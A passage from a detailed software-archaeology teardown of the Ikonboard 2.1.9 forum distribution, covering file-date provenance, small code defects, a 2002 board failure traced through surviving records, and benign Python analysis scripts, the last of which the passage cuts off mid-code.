somebody other than ikonboard.com would have had to patch a copy, re-zip it, and get it into the
hands of a downloader within eight weeks, in place of the official file -- while the official site
was itself documenting that it patched the download whenever a bug was found. The simple
explanation is the one `help.html` states.

#### Why a complete tree was never installed

The same fact explains the artifact's strangest property. A board went up from this zip, yet the
zip shows no trace of ever having run -- and that is exactly what the era's deployment model
produces:

1. Download the zip and unpack it **locally**.
2. FTP the contents to the web host, in ASCII mode, per `first_install.html`.
3. Run `install.cgi` **on the server**, which is where `boardinfo.cgi`, `members/` and the
   `forumN/` directories are then created.

The generated files only ever exist on the host. The local unpacked copy is a staging area, and it
stays pristine permanently. This tree is that staging copy -- which is why it is simultaneously a
complete distribution, demonstrably never installed, and the direct ancestor of a board that ran
for a year.

It also explains why it survived. The installed board died with its host; the unpacked zip sat in a
personal backup and was migrated forward across machines for twenty-five years.

**Sourcing note.** The registration dates are cited to Wayback Machine captures of the live board,
not to any later reconstruction of it -- each linked page can be opened and read directly, and the
`Member Since:` line is the software's own output. That is external to the zip and independently
checkable, which is the point: nothing in the tree itself could establish when it was used.

Two things here are *not* of that standard and are flagged as such. The identification of this
particular zip as the one used for that installation rests on the owner's account of having kept
it since, and the inference that it was downloaded shortly before 9 November 2001 rather than
months earlier is reasoning from the install date, not a record of the download. Both are
plausible and consistent with every dated artifact in the tree; neither is proven.

One fact is fixed either way: **this archive contains a fix for the Unix billion-second rollover,
written within three hours of the rollover itself, and the file's own mtime is the timestamp that
caused the bug.**

---

### 8.3 The two-minute edit on `post.cgi`

The other post-release cluster is much tighter:

```
postings.cgi     UTC=2001-06-08 00:59:40
post.cgi.bak     UTC=2001-06-08 01:25:42
post.cgi         UTC=2001-06-08 01:27:38
```

`post.cgi.bak` and `post.cgi` are **116 seconds apart**, and the entire difference is one character:

```diff
--- cgi-bin/post.cgi.bak (1055 lines)
+++ cgi-bin/post.cgi     (1056 lines)
@@ -1051,2 +1051,3 @@
  	$reviewcount++;
+	}
          } # end foreach
```

A single closing brace, closing an `unless($reviewcount > 20)` block inside `&threadreview`.

This was verified rather than assumed. Compiling both files with `perl -c` (after neutralizing an unrelated regex that modern Perl rejects -- see section 8.11):

```
post.cgi      syntax OK
post.cgi.bak  Missing right curly or square bracket at line 1055
```

**`post.cgi.bak` is not an older working version -- it does not compile at all.** A board shipped with that file would have returned a 500 error on every attempt to post. The backup captures a broken intermediate state, which is what makes the 116-second gap legible: the brace was not a refinement, it was the fix for a build that was already broken.

The sequence is legible: edit `postings.cgi`, move to `post.cgi`, save a backup, make the change, hit a syntax error, fix the brace, save again two minutes later. This is someone patching a live tree by hand, at 20:25 local time on a Thursday evening, hours after the release documentation was finalized.

`Changes.txt` is dated the same day and its final entry reads *"a huge rewrite of processing routines to try and stop disappearing threads. (Credit to SmileyMan)"*. The `post.cgi`/`postings.cgi` edits are almost certainly the tail end of that rewrite landing.

---

### 8.4 Version-string discrepancies

The software does not agree with itself about what it is.

- `ikon.lib:12` -- the only version declaration in the codebase -- reads:
  ```perl
  $versionnumber = "2.1.9 Beta";
  ```
- Every user-facing page therefore renders "Powered by Ikonboard 2.1.9 Beta".
- `README.txt`, `Changes.txt`, `first_install.html`, `help.html` and `upgrading.html` all call it plain "2.1.9".
- `help.html` is candid about the beta status: *"Please remember that Ikonboard is currently in 'beta'."*

There is also a stale copyright year in the maintenance-mode footer. `ikon.lib` prints `&copy; 2001 Ikonboard.com` in the normal page footer (line 862) but `&copy; 2000 Ikonboard.com` in the maintenance-mode footer (line 874) -- the maintenance block was copy-pasted from an older revision and its year never updated. Since maintenance mode was **new in 2.1.9**, the freshest feature in the release carries the oldest copyright date in the codebase.

`install.cgi` likewise still carries a `# Copyright 2000` header while all 31 other scripts say 2001.

---

### 8.5 The support forum grew 285% in a document that never noticed

Two shipped documents, both dated **2001-05-28**, quote the size of the support community:

- `first_install.html`: *"We currently have over **1,300** members who can try to help."*
- `help.html`: *"We currently have over **5,000** members who can try to help."*

Identical sentence, identical date, figures nearly four times apart. `first_install.html` was clearly written much earlier and re-saved without its body text being revisited; `help.html` carries the current figure. It is a small thing, but it dates the two documents relative to each other far better than their filesystem timestamps do, and it puts a number on how fast forums.ikonboard.com was growing in 2000-2001.

---

### 8.6 The `messanger` -> `messenger` affair

`Changes.txt` records, among genuine bug fixes:

> Messenger is now spelt correctly. (Credit to Peter)

The private-messaging script had shipped as `messanger.cgi` for several releases. Correcting the spelling turned out to be a breaking change, and `upgrading/upgrading.html` devotes an entire section to it:

> This file no longer exists in the iB zip download. Instead, messenger.cgi is used. This works in exactly the same way as messanger except that it is spelled correctly. To install this corrected version you must do the following:
>
> Delete messanger.cgi from the main iB directory, and messanger,dat from the help directory. Upload the messenger.cgi and messenger.dat from the new zip file to the appropriate directories and chmod 755. **Note -** You cannot simply change the filenames, the contents of the scripts must also be altered to reflect the name change. [...] You must also edit progs.cgi in the data directory to reflect the new files. So `$messangerprog` becomes `$messengerprog` etc.

Because script names were string-interpolated into links throughout the codebase *and* recorded in `data/progs.cgi`, a typo fix required a coordinated multi-file rename with manual admin intervention on every existing installation. It is a perfect miniature of the architecture's central weakness: with no module boundaries and no indirection that the software itself understood, an identifier was effectively public API.

(The upgrade document also contains the typo `messanger,dat` -- a comma for a period -- while explaining the spelling fix.)

---

### 8.7 Hand-edited HTML

`license.html` carries a revealing `<meta>` tag:

```html
<meta name="generator" content="HTML Tidy, see www.w3.org">
```

`upgrading.html` shows the opposite: deeply nested and unbalanced `<font>` tags, `<br>` elements scattered mid-list, and a file list where **`post.cgi` and `setforums.cgi` each appear twice**:

```
- setforums.cgi
- setvariables.cgi
...
- forumoptions.cgi (*)
- setforums.cgi (*)
- post.cgi
```

There is also an orphaned footnote marker -- a `(*)` on its own line with nothing attached to it. The documentation was maintained by hand in a WYSIWYG editor by more than one person, and the duplicate entries mean an administrator following the upgrade list literally would upload two files twice. Harmless, but it tells you the release checklist was not itself checked.

---

### 8.8 Authorship evidence in the headers

`ib_provenance.py` groups every script by its exact copyright header. The result is unusually uniform, with three deviations:

```
31 files:  # Copyright 2001 Ikonboard.com - All Rights Reserved
           # All files written by Matthew Mecham

 1 file:   # Copyright 2001 ...
           # All files written by Matthew Mecham (Unless otherwise stated)
           -> cgi-bin/ikonmail.lib

 1 file:   # Copyright 2000 Ikonboard.com - All Rights Reserved
           -> cgi-bin/install.cgi

 1 file:   # ... + "### Check for authorisation."
           -> cgi-bin/viewip.cgi
```

The `(Unless otherwise stated)` qualifier on `ikonmail.lib` exists because that file is the only one carrying a third-party attribution, immediately below the standard header:

```perl
#
# Mail function library. Some functions based on sendmail.pm
#
#                      By Milivoj Ivkovic
#
```

That is the one place in 15,526 lines of Perl where the blanket "All files written by Matthew Mecham" claim is explicitly qualified -- and the header was edited to accommodate it. Meanwhile `Changes.txt` credits **LarryC**, **Peter** and **SmileyMan** by name for specific 2.1.9 fixes, none of whom appear in any file header.

Ten files carry no copyright header at all: the three generated `data/*.cgi` config fragments, six help-text files that use a `.cgi` extension despite containing only HTML, and `upgrading/update_forums.cgi`.

---

### 8.9 Files whose extensions lie

The distribution uses file extensions as access control rather than as type declarations, and the result is a tree where almost nothing is what it claims:

| Pattern | Actually contains | Why |
|---|---|---|
| `data/styles.cgi`, `data/progs.cgi`, `data/membertitles.cgi` | Perl variable assignments | `.cgi` so the webserver executes rather than serves them |
| `data/allforums.cgi`, `members/*.cgi`, `forumN/list.cgi` | Pipe-delimited plain text | same -- the extension hides them from direct HTTP fetch |
| `data/hacklog.cgi` | HTML fragments | same |
| `forumN/*.pl` | Pipe-delimited plain text, no Perl | Perl extension on non-Perl data |
| `help/Postings.cgi`, `help/Moving_Topics.cgi`, and four others | Plain HTML help text | inconsistent with the `.dat` used by the other nine help files |
| `ikon.lib` | Perl source | `file(1)` reports it as *"HTML document"* because it is mostly HTML in string literals |

The help directory is the clearest sign of drift: nine files use `.dat` and six use `.cgi`, for identical content, with no functional difference -- `help.cgi` reads whichever is asked for. Two conventions coexisting in one directory is the fingerprint of a codebase maintained by successive hands without a style rule.

Note also that this entire scheme depends on `cgi-bin` being configured to execute rather than serve. Where an administrator installed the board outside a properly configured `cgi-bin` -- a documented-as-common misconfiguration -- `members/*.cgi` would be served as plain text, publishing every member's password to anyone who guessed a filename.

---

### 8.10 Line endings

All shipped text files use **CRLF**. The installation instructions insist that every `.cgi` file be uploaded in **ASCII mode** (`first_install.html`, Step 3), which is exactly what makes this work: the FTP client rewrites CRLF to the server's native LF in transit. Upload in binary mode and the shebang line becomes `#!/usr/bin/perl\r`, which Unix reports as *"No such file or directory"* -- one of the era's most reliably confusing error messages, and the reason the instruction is capitalized in the original.

Not one file in the distribution contains a byte above 0x7E. The entire codebase is 7-bit ASCII.

---

### 8.11 It no longer runs

A note for anyone attempting to stand this board up, because the obstacle is
not the one you would expect.

Four lines across three files render the `:o` "shocked" emoticon with the
substitution `s/\:\o/.../g`:

```
announcements.cgi:419
messenger.cgi:349
messenger.cgi:692
post.cgi:1034
```

A bare `\o` escape in a regular expression has been a **fatal compile error
since Perl 5.14** (2011); Perl now requires `\o{...}` with braces. In 2001 the
sequence was accepted and meant a literal `o`, so the code was correct when it
was written and is unrunnable today.

The escape is a copy-paste artifact, and the evidence is in the library: the
canonical version of the same emoticon block in `ikon.lib:982` (`sub preview`)
correctly reads `s/\:o/.../g`, with no second backslash. The four broken copies
are downstream duplicates of that block -- the same eight-line emoticon
substitution pasted into every script that renders a post, acquiring a typo
that the original never had. It is the clearest single illustration of what
having no shared render path costs: one routine, five copies, four of them
subtly wrong, and nothing to notice for twenty-five years.

The failure mode is unhelpful -- the script dies at compile time with a message
about the escape rather than anything suggesting an emoticon parser -- so this
is the first wall anyone restoring an Ikonboard 2.1.9 will hit, before any
question of Perl 5.005 semantics, `CGI.pm` version drift, or `flock` behavior.
Patch those four lines first.

This also means the compile check in section 8.3 required neutralizing that regex in
both files before `perl -c` would report on the brace at all.

---

### 8.12 Summary of the archive's provenance

| Question | Answer | Confidence |
|---|---|---|
| Version | 2.1.9 Beta (`ikon.lib:12`) | Certain -- stated in code |
| Release boundary | 7 June 2001 -- the newest shipped document | Certain as a *boundary*; the exact public download date is uncorroborated |
| Complete distribution? | Yes -- installer, docs, images, help all present | Certain |
| Assembled at ikonboard.com? | Yes -- `ikon.lib.bak` predates the release by 3 days | Certain -- no downloader could hold it |
| Ever installed? | **No** -- not one runtime-generated file exists | Certain -- see section 8.2 |
| Contains user data? | No -- `members/` empty, no `forumN/` dirs | Certain |
| Modified after packaging? | Yes -- 4 files, in **two clusters**: 3 on 8 June, `ikon.lib` on 9 September | Certain -- mtimes + diffs |
| Nature of the last edit | Unix billion-second rollover fix | Certain -- diff is unambiguous |
| Time of the last edit | 2001-09-09 04:23:18 UTC (epoch 1000009398) | Certain -- filesystem mtime |
| Was the September edit made by the vendor? | **Very likely** -- the copy downloaded in early Nov 2001 already carried it | Strong: tree evidence + the Nov 2001 install date |
| Why is a complete tree never installed? | It is the **local staging copy**; `install.cgi` ran on the web host, where the generated files stayed | High -- matches the documented FTP install model |
| Date of the installation it fed | 9 November 2001 -- admin account `Member Since` | External, citable: Wayback capture of the live profile page |
| Chain from vendor master to this archive object | ikonboard.com -> download (~Nov 2001) -> personal backup -> archive.org | Probable; the download source is not independently attested |

---

## 9. Field Evidence

> **Revision history**
> **1.0 -- 08/16/2026** -- chapter added.
>
> Sections 1 through 8 were written on 08/15/2026 against the distribution
> alone. This chapter came a day later, when the surviving records of a board
> that actually ran the software became available. The open item at the end of
> section 9.6 is unresolved at the time of writing; any later revision that
> closes it will be dated in this block.

Everything up to this point examines the distribution: the code as shipped, the
records it would write, the defects it carried. This chapter is the one place
the teardown meets a board that actually ran.

FinalFantasyFanatic.com ran Ikonboard 2.1.9 until it stopped working in June
2002. Its operator, FieRcE YeD, kept a dated news page through the failure, its
successor board's member table survives, and one directory of its private
messages was pulled off the server three weeks before the end. Between them those three
sources show what the defects catalogd in sections 3 and 5 look like when
they fire on a live site.

The value here is not the site. It is that several failure modes documented
analytically elsewhere in this teardown can, for once, be checked against a
board that suffered them.

---

### 9.1 The deployment

A Final Fantasy fan community, hosted on Verio, running on SGI IRIX 6.5.x on
MIPS hardware -- a detail established independently from stock IRIX system
binaries FieRcE YeD FTP'd off the server and kept. **[SRC]** The board was
active through at least the first half of 2002 and was busy enough that he was
fighting it regularly.

Nothing about the deployment is unusual. That is the point: it is an ordinary
2.1.9 installation of the kind the software shipped tens of thousands of.

---

### 9.2 The failure sequence

FieRcE YeD's own news page, recovered from a local copy of the site, carries
three dated entries. They are reproduced verbatim; the spelling is his.
**[SRC]**

> **June 7, 2002**
> Ok, So I go to bed last night thinking, oh the forums are ok I just fixed
> them finally for the 1000th time. SO just now I checked it out and it can't
> read a certain file. So guess what? The forums are going to stay down while
> I find something different than Ikonboard. I'll keep ya updated.

> **June 13, 2002**
> More news about the Forums. I have a few message boards I am looking at. I
> will start working on it tomorrow. Also Interesting to Note, take a look over
> at www.xgam.org Their Ikonboard crashed the EXACT SAME DAY AS MINE.
> Coincidence?

> **June 14, 2002**
> OK, I have the forums up once again. After talking to Kyle Shidar a couple of
> days ago, he made me decided to give Ikonboard one more shot. So the forums
> are up once again and everyone will have to re-register. Also the moderators
> of the old forums, when you re-register, email me or just post a thread in
> general discussion so I can give you your mod powers back.

Three things in these notes matter.

**"It can't read a certain file"** is the failure signature of a corrupted flat
index. 2.1.9 has no database; `data/allforums.cgi` and each forum's `list.cgi`
are single points of failure that every page load touches.

**"The 1000th time"** establishes that June 7 was not a first occurrence. The
board had been failing and being repaired repeatedly, which is the signature of
a structural defect under rising load rather than a one-off accident.

**"Everyone will have to re-register"** establishes the scope of the loss.
Recovering a corrupted topic index does not cost you your members.

---

### 9.3 What the member data proves

The replacement board was Ikonboard 3.0.2a, and its member table survives in a
November 2002 backup. 3.x member IDs carry the registration epoch as their
second component (`70-1024085379`), so the table dates its own population.
**[SRC]**

Every one of the 48 recovered members registered on or after 14 June 2002:

```
06/14/2002 20:09   FieRcE YeD          <- the board operator, first account on the new board
06/14/2002 20:40   Setzer
06/14/2002 20:42   Edgar
06/15/2002 00:19   Romi Seneca
06/15/2002 03:02   RTV King
06/15/2002 04:07   Razz
06/15/2002 08:00   Lord Arkmam
06/15/2002 12:03   JCD
06/15/2002 15:04   Tiff
06/15/2002 15:46   Sage Winard
06/16/2002 10:52   Highlander
06/17/2002 01:47   Hobbes Lionheart
```

Three registrations on 14 June, seven on 15 June, then a decaying tail. FieRcE
YeD's account is the first, timed 20:09 on the day his news entry says the
board came back.

**The member directory was destroyed, not merely the topic index.** That
distinction narrows the possible causes considerably, and section 6 returns to
it.

A secondary observation: several members re-registered under different names.
The pre-crash correspondence in section 4 is between "Kyle Shidair",
"teddybearperson" and "the Golden Warrior"; the new board's table has "Sage
Winard", "Romi Seneca" and no Golden Warrior at all. A forced re-registration
is a rename opportunity, and people took it. For anyone reconstructing a board
across this kind of discontinuity, identity does not survive the gap by itself.

---

### 9.4 What survived, and why

One directory of private messages was pulled off the server by FTP on 13 May
2002 and kept. It contains 38 files in the exact layout specified in section 5:
`<MangledName>_msg.cgi` for each inbox, `<MangledName>_out.cgi` for each
outbox, one message per line, five pipe-delimited fields. **[SRC]**

```
teddybearperson|yes|1021171994|hah!|cheater.. sheesh, why so many posts YeD?*grin*
```

572 raw records deduplicate to **377 unique messages spanning 17 January to 13
May 2002**. The successor board's own message store begins 15 June 2002. The
two corpora do not overlap by a single message: the pre-crash record survives
in its entirety and the post-crash record begins clean, with the gap falling
exactly across the failure.

Two details are worth drawing out.

**The dual-copy structure paid off.** Section 5 notes that a single send writes
two independent copies, one to each party's file, and that a message therefore
survives if either file survives. Measured against this corpus: 195 of the 377
exist in both copies, and **182 survive on one side only**. Nearly half the
archive would have been lost to a design that stored each message once.

**Nothing else survived.** No `list.cgi`, no `allforums.cgi`, no `banlist.cgi`,
no forum directories, no member files. The same download contains the stock
2.1.9 distribution zip, unpacked, which is a different artifact entirely. The
private messages survive because somebody manually copied them off a working
server three weeks before it stopped working.

That is the practical consequence of the finding in section 5 that `list.bak`
is read by `checkboard.cgi` but **never written by any script in the
distribution**. A 2.1.9 board has no automatic backup of anything. What you
keep is what you thought to copy.

---

### 9.5 Which documented defects this is evidence for

| Defect | Where documented | What this deployment shows |
|---|---|---|
| Flat indexes are single points of failure; every page load reads `allforums.cgi` | Section 3 | "It can't read a certain file" took the whole board down, not one forum |
| Several *read* paths take an exclusive `flock 2` on `allforums.cgi`; a crashed reader blocks writers | Section 3 | Repeated failures ("the 1000th time") on a board whose traffic was growing |
| The integrity guard added to stop empty or pipe-less buffers overwriting good indexes -- the "disappearing threads" mitigation | Section 5 | Index corruption was endemic enough in the wild to need a guard, and this board still lost its indexes |
| `list.bak` is read but never written by any script | Section 5 | Recovery depended entirely on a manual FTP copy made for unrelated reasons |
| CVE-2001-0841, cookie directory traversal, naming "ib219 and all older versions", public from 30 October 2001 | Sections 2 and 6 | Eight months of public exposure by June 2002 on an unpatched board |

None of this is surprising given the code. What the deployment adds is
confirmation that the failure modes were not theoretical, and a sense of the
timescale: an ordinary community board running the software through a period of
growth got roughly a year before the flat-file design became unmanageable.

---

### 9.6 What this does not establish

The mechanism above is well supported. The **trigger** is not, and the
distinction should not be blurred.

**The simultaneous failure is the crux and rests on a single source.** The only
evidence that xgam.org's Ikonboard died the same day is FieRcE YeD's own news
entry of 13 June 2002, quoted in section 9.2. He had no reason to invent it,
but it is one contemporaneous claim, unverified, about a third party's software.

If it is accurate, coincidence is a poor explanation. Two unrelated boards on
unrelated hosts failing the same day points to a common external cause, and the
most plausible candidate is automated exploitation: CVE-2001-0841 was eight
months public and named this exact version. A scripted sweep would produce
precisely this pattern.

That theory also fits the one fact plain corruption explains poorly. **Index
corruption does not destroy a member directory.** A traversal flaw that leaks
`members/*.cgi` -- and with them the password hashes documented in section 5 --
followed by an intrusion, does. So does a panicked wipe-and-reinstall by an
administrator who had run out of patience, which is the innocent alternative
and cannot be distinguished from the outside.

**On the present evidence, both remain open.** The honest summary is that the
board was structurally fragile in ways this teardown documents, it had been
failing repeatedly, and something finished it on 7 June 2002 that also appears
to have finished at least one other board the same day.

#### Open item: corroboration from the Wayback Machine

The claim quoted in section 9.2 -- that xgam.org's Ikonboard failed on the same
day as this one -- is the only assertion in this chapter that can be tested
against a source outside FinalFantasyFanatic.com's own records. Everything else
here rests on FieRcE YeD's news page, his successor board's member table, and
his file copies. Corroborating it means reading xgam.org's site from that week.

The Wayback Machine holds snapshots of `www.xgam.org` on **2 June 2002** and
**19 July 2002** and nothing in between, so the crash-notice window is precisely
the gap in coverage. **[WEB]**

Both snapshots were requested while this chapter was written -- specifically to
corroborate the 13 June 2002 post quoted above -- and the Wayback Machine
returned **HTTP 503** on each attempt. That is a service condition, not an
absence of data, and the fetch should simply be retried.

**To do, at a future date:**

1. Retry `http://web.archive.org/web/20020719001302/http://www.xgam.org/` and
   the 2 June 2002 snapshot. The July page may still carry a recovery notice or
   a changed forum platform.
2. Widen the CDX query beyond the index page. Snapshots of `xgam.org/forum*`,
   `xgam.org/cgi-bin/*` or a subdomain may fall inside the gap even though the
   index does not.
3. If the July page shows a board running something other than Ikonboard, or
   describes an intrusion, that materially strengthens the common-cause reading
   of section 6. If it shows Ikonboard running normally with no reference to an
   outage, FieRcE YeD's claim weakens and coincidence becomes the better
   explanation.

Until one of those is done, section 6 stands as written: mechanism confirmed,
trigger inferred.

---

## 10. How to reproduce this

Everything in this document was derived from one 839 KB directory tree using
seven Python scripts, all of which are reproduced in full in the next section.
Nothing here required running the software, and nothing required a Perl
interpreter.

### Getting the source

The distribution is preserved at <https://archive.org/details/ib219> -- 145
files, 839,181 bytes:

```
ib219/
+-- cgi-bin/          37 Perl programs, libraries and data files
+-- non-cgi/          78 GIF and JPEG interface images
+-- upgrading/        the 2.1.5 -> 2.1.9 format converter
+-- README.txt  Changes.txt  license.html
+-- first_install.html  help.html
```

Two things that archive is **not**.

It is not the pristine 7 June package. Four of those files carry later
timestamps -- three from 8 June and `ikon.lib` from 9 September 2001, the last
of them being the billion-second fix. What survives is the 2.1.9 tree **as
ikonboard.com maintained and re-issued it**, not as it first shipped, which is
exactly why its own file dates repay close reading. Section 8 works through
what they show.

And it does not contain this document or the scripts in section 11. Those were
written afterwards, against the unpacked tree, and are reproduced
here in full so the analysis can be re-run and checked rather than taken on
trust. To repeat the work, unpack the archive and put the scripts anywhere --
each takes the tree root as its only argument, defaulting to the parent of its
own directory, so dropping them in a `teardown/` subdirectory needs no
arguments at all:

```
ib219/
+-- cgi-bin/  non-cgi/  upgrading/  *.txt  *.html     <- from archive.org
+-- teardown/                                          <- added; the scripts below
```

### The method

The tree is small enough to read end to end, and for a document like this that
is the right approach -- every claim below was ultimately confirmed by reading
the Perl. The scripts exist because five specific questions could not be
answered reliably by reading alone:

**1. What are the record formats?** There is no schema anywhere in Ikonboard.
Field order exists only in the `split(/\|/, ...)` list assignments scattered
through 44 files. `ib_records.py` collects all 162 of them, groups identical
field lists, and ranks by corroboration. When 21 independent sites unpack the
same 15 names in the same order, that is the forum record -- and the sites that
disagree are exactly the truncated reads and stale copies worth investigating.

**2. What are the endpoints?** There is no route table. Every script dispatches
through an if/elsif chain of string comparisons against a CGI parameter.
`ib_actions.py` reads the comparisons back out of the code to recover the
complete list of 48 `script.cgi?action=...` endpoints, plus the parameters and
cookies each script reads.

**3. Where does untrusted input reach a filename?** None of the scripts run
under `perl -T`, so nothing is tainted in the interpreter's sense.
`ib_taint.py` does the bookkeeping by hand -- finds the variables assigned from
`param()`, `cookie()` and `%ENV`, then reports which of them reach an `open()`
without passing a sanitizer first. It is a lexical scan and cannot see through
ikon.lib's global-variable aliasing, so its output is a worklist, not a
verdict. Every finding quoted in this document was confirmed by reading the
source.

**4. Which file operations are dangerous?** `ib_fileio.py` catalogs all 206
`open()` calls, classifies each by mode, notes whether a `flock` follows and on
which handle, and flags two-argument opens carrying interpolated variables.
The ordering it reports -- lock acquired *after* a truncating open -- is what
establishes that the locking protects nothing.

**5. What happened to this particular copy?** `ib_provenance.py` first decides
whether the tree was ever installed, by looking for the files Ikonboard
generates on first setup and first page view -- that single question governs how
every date in the tree is read, since an uninstalled copy's mtimes record the
vendor's edits rather than an administrator's. It then diffs the `.bak` files
against their live counterparts, date-brackets the tree against the newest
shipped document, and harvests attribution evidence. This is what surfaced the
September 2001 patch and the two-minute `post.cgi` edit.

`ib_subs.py` and `ib_manifest.py` are supporting: the first builds the call
graph that the source never declares (84 subs defined, 131 called), the second
produces the inventory and the SHA-256 hashes.

### Running them

```sh
cd ib219/teardown
python3 ib_manifest.py            # inventory, hashes, date bracket
python3 ib_provenance.py          # .bak diffs, attribution evidence
python3 ib_actions.py             # the routing table
python3 ib_records.py             # the record formats
python3 ib_subs.py                # the call graph
python3 ib_fileio.py              # every file operation, classified
python3 ib_taint.py               # request data reaching filenames
```

Each takes an optional tree root as its first argument and writes a plain-text
report to stdout. No dependencies beyond the Python standard library.

### Rebuilding this document

```sh
python3 build_readme.py IKONBOARD-2.1.9-teardown.md --txt
```

`readme_src.md` is the skeleton: a title, a contents table, and a marker per
chapter. Chapters are pulled in by `&lt;!--CHAPTER:n:file.md--&gt;`, which
demotes their headings so the assembled document has one coherent outline, and
each `&lt;!--CODE:name.py--&gt;` marker is replaced at build time with that
script's current contents -- so the code printed below can never drift from the
code that produced the findings. The builder also
normalizes spelling to American English -- with a keep-list so that material
quoted from the 2001 source and documentation stays verbatim, British spellings
and all -- folds the output to pure ASCII, and fails loudly if a local
filesystem path or an unexpanded marker survives into the output.

---

## 11. The toolchain

Seven scripts, reproduced in full. Together they are about 900 lines of Python
with no dependencies outside the standard library.

### `ib_manifest.py`

Inventory: size, mtime, SHA-256, line endings and line count for every file,
plus per-directory totals and the date bracket. The mtimes are the ones
preserved inside the original zip, so they date the individual files rather
than the archive -- which is how the out-of-band `ikon.lib` was spotted against
a distribution that is otherwise no later than 7 June 2001.

```python
"""Inventory every file in the Ikonboard 2.1.9 distribution.

Emits size, mtime, SHA-256, line endings and line count for each file, plus a
per-directory summary. The mtimes are the ones preserved inside the original
zip, so they date the individual files rather than the archive -- which is how
the out-of-band `ikon.lib` (2001-09-08) was spotted against a distribution
that is otherwise no later than 2001-06-07.

Usage: python3 ib_manifest.py [root] [--json out.json]
"""
import hashlib
import json
import os
import sys
from datetime import datetime, timezone

TEXT_EXT = {'.cgi', '.lib', '.pl', '.dat', '.txt', '.html', '.bak'}

# This tooling lives inside the tree it inspects; keep it out of the counts.
SKIP_DIRS = {'teardown'}


def line_endings(data):
    crlf = data.count(b'\r\n')
    lf = data.count(b'\n') - crlf
    cr = data.count(b'\r') - crlf
    tags = []
    if crlf:
        tags.append('CRLF=%d' % crlf)
    if lf:
        tags.append('LF=%d' % lf)
    if cr:
        tags.append('CR=%d' % cr)
    return ','.join(tags) or 'none'


def scan(root):
    rows = []
    for dirpath, dirnames, filenames in os.walk(root):
        dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIRS)
        for name in sorted(filenames):
            full = os.path.join(dirpath, name)
            rel = os.path.relpath(full, root).replace('\\', '/')
            data = open(full, 'rb').read()
            ext = os.path.splitext(name)[1].lower()
            istext = ext in TEXT_EXT
            st = os.stat(full)
            rows.append({
                'path': rel,
                'dir': os.path.dirname(rel) or '.',
                'ext': ext,
                'size': len(data),
                'mtime': datetime.fromtimestamp(
                    st.st_mtime, timezone.utc).strftime('%Y-%m-%d'),
                'sha256': hashlib.sha256(data).hexdigest(),
                'text': istext,
                'lines': data.count(b'\n') + 1 if istext and data else 0,
                'eol': line_endings(data) if istext else '-',
                'nonascii': sum(1 for b in data if b > 126) if istext else 0,
            })
    return rows


def main():
    args = [a for a in sys.argv[1:] if not a.startswith('--')]
    root = args[0] if args else os.path.dirname(os.path.dirname(
        os.path.abspath(__file__)))

    rows = scan(root)

    print('%-46s %8s  %-10s %-7s %s' % ('PATH', 'BYTES', 'DATE', 'LINES', 'SHA-256 (first 16)'))
    print('-' * 100)
    for r in rows:
        print('%-46s %8d  %-10s %-7s %s' % (
            r['path'], r['size'], r['mtime'],
            r['lines'] or '-', r['sha256'][:16]))

    print()
    print('Totals by directory')
    print('-' * 100)
    bydir = {}
    for r in rows:
        d = bydir.setdefault(r['dir'], {'n': 0, 'bytes': 0, 'lines': 0})
        d['n'] += 1
        d['bytes'] += r['size']
        d['lines'] += r['lines']
    for d in sorted(bydir):
        v = bydir[d]
        print('%-30s %4d files %10d bytes %8d lines' % (
            d, v['n'], v['bytes'], v['lines']))

    total = sum(r['size'] for r in rows)
    code = [r for r in rows if r['ext'] in ('.cgi', '.lib') and r['dir'] == 'cgi-bin']
    print()
    print('%d files, %d bytes total' % (len(rows), total))
    print('%d top-level Perl programs/libraries, %d bytes, %d lines' % (
        len(code), sum(r['size'] for r in code), sum(r['lines'] for r in code)))

    # File dates bracket the release; anything outside is a post-release edit.
    dates = sorted({r['mtime'] for r in rows})
    print('file dates span %s .. %s' % (dates[0], dates[-1]))
    newest = max(rows, key=lambda r: r['mtime'])
    print('newest file: %s (%s)' % (newest['path'], newest['mtime']))

    if '--json' in sys.argv:
        out = sys.argv[sys.argv.index('--json') + 1]
        json.dump(rows, open(out, 'w'), indent=1)
        print('wrote %s' % out)


if __name__ == '__main__':
    main()
```

### `ib_provenance.py`

Establishes whether the tree was ever installed, diffs each `*.bak` against its
live counterpart, names the files that postdate the release, and harvests
names, handles, email addresses, URLs and version strings. Groups every script
by its exact copyright header so the odd ones stand out.

```python
"""Provenance and archaeology checks on the distribution.

Four jobs:

  0. Decide whether the tree was ever installed. Ikonboard generates a set of
     files the first time it is set up and used, none of which ship in the zip.
     If any exist, the tree is a deployed board and its mtimes record an
     operator's actions; if none do, it is an unpacked download and they record
     the vendor's. That distinction decides how every other date here is read.

  1. Diff each `*.bak` against its live counterpart. The distribution shipped
     with two backup files still in place, and the differences are the last
     edits anyone made to this tree.
  2. Date-bracket the tree and name the files that fall outside the release
     window -- edits made after the release was packaged, which for an
     uninstalled tree means the vendor revised the download in place.
  3. Harvest attribution evidence: names, handles, email addresses and URLs,
     plus the version strings, so the copyright headers can be checked against
     what the code actually says.

Usage: python3 ib_provenance.py [root]
"""
import difflib
import os
import re
import sys
from datetime import datetime, timezone

EMAIL = re.compile(r'[\w.\-]+@[\w.\-]+\.\w{2,}')
URL = re.compile(r'https?://[^\s"\'<>)~]+')
VERSION = re.compile(r'\$versionnumber\s*=\s*[\'"]([^\'"]+)')
CREDIT = re.compile(r'\(?(?:Credit|Thanks|Written|Fix(?:ed)?)\s+(?:To|to|by|By)\s+([A-Z][\w .\-]{1,30})')
AUTHORLINE = re.compile(r'^#.*(?:written by|Copyright|Author)[^\n]*', re.M | re.I)

SKIP_DIRS = {'teardown'}
TEXT_EXT = {'.cgi', '.lib', '.pl', '.dat', '.txt', '.html', '.bak'}


def text_files(root):
    for dirpath, dirnames, filenames in os.walk(root):
        dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
        for name in sorted(filenames):
            if os.path.splitext(name)[1].lower() in TEXT_EXT:
                full = os.path.join(dirpath, name)
                yield os.path.relpath(full, root).replace('\\', '/'), full


def main():
    root = sys.argv[1] if len(sys.argv) > 1 else os.path.dirname(
        os.path.dirname(os.path.abspath(__file__)))

    files = list(text_files(root))

    print('=' * 78)
    print('0. WAS THIS TREE EVER INSTALLED?')
    print('=' * 78)
    cgi = os.path.join(root, 'cgi-bin')
    generated = [
        ('data/boardinfo.cgi', 'install.cgi step 3',
         'require()d by all 32 scripts at startup'),
        ('data/onlinedata.dat', 'ikon.lib sub whosonline',
         'rewritten on EVERY page view, guests included'),
